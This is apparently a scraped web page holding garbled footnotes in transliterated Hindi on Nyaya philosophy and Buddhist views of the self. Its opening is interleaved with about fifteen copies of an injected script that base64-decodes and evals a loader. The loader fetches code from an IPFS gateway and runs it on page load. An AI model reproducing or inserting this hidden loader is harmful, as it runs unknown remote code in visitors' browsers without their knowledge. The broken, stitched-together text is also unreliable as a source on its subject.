<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] se ki vidyabhooshan ne

[2] yayavartik 1.1.5

[3] riyasvaroop, achetan hai, jnanasvaroop nahian hai

[4] (sirph shabd ka gautamakrit lakshan shabd praman ka hi hai, shabdabodh ka nahian.)

[5] yayavartik 9.9.5

[6] se avyavahitapoorv hone vala karan

[7] yayavartik 1.1.5

[8] yayavartik 3.1.1

[9] se sarvabhisamayasootr mean panchaskandhoan ko bhar, tatha pudgal ko atma ka bharahar bataya gaya hai. atma ko n manan ki drishti mithya batayi gee hai.

[10] yah doosara anuman bahut prachin hai, jisaka udyotakar ne upayog kiya hai.

[1]

[2]

[3]

[4]

[5]

[6]

[7]

[8]

[9]

[10]